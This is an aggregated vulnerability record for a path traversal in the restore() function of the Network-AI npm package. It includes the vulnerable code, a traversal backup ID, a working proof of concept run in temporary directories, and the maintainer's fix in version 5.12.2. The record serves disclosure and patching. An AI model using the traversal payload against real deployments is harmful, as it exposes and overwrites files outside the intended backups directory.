{"id":"CVE-2026-58413","aliases":["EUVD-2026-46005","GHSA-48x2-6pr9-2jjf"],"status":"published","title":"EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00188,"percentile":0.08445,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-23"],"published":"2026-06-19T21:42:38Z","modified":"2026-10-28T02:31:01Z","fixes":[{"ecosystem":"npm","package":"network-ai","fixed_in":["5.12.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"network-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.12.1"},{"fixed":"5.12.2"}]}]},{"source":"osv","ecosystem":"npm","package":"network-ai","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.12.2"}]}]}],"products":[{"vendor":"jovancoding","product":"network-ai"},{"vendor":"network-ai","product":"network-ai"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf","tags":["x_refsource_CONFIRM","exploit","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-48x2-6pr9-2jjf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58413.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58413","tags":["advisory"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-58413","title":"EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","status":"published","published":"2026-07-20T16:26:07.531Z","modified":"2026-07-20T17:20:47.976Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T13:47:28.691429Z"}],"euvd":[{"id":"EUVD-2026-46005","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","status":"published","published":"2026-07-20T16:26:07Z","modified":"2026-07-20T17:20:47Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:19:48.530346Z"}],"ghsa":[{"id":"GHSA-48x2-6pr9-2jjf","title":"Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env \u003cenv\u003e --backup \u003cid\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/\u003cenv\u003e`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","status":"published","published":"2026-06-19T21:42:38Z","modified":"2026-06-19T21:42:40Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-58413","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","status":"published","published":"2026-07-20T17:18:15.57Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T14:12:31.024898Z"}],"osv":[{"id":"CVE-2026-58413","title":"EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","status":"published","published":"2026-07-20T16:26:07.531Z","modified":"2026-10-28T02:31:01.250876267Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-48x2-6pr9-2jjf","title":"Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env \u003cenv\u003e --backup \u003cid\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/\u003cenv\u003e`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","status":"published","published":"2026-06-19T21:42:38Z","modified":"2026-07-21T03:56:47.400469972Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T15:46:36.782754Z"}]}}
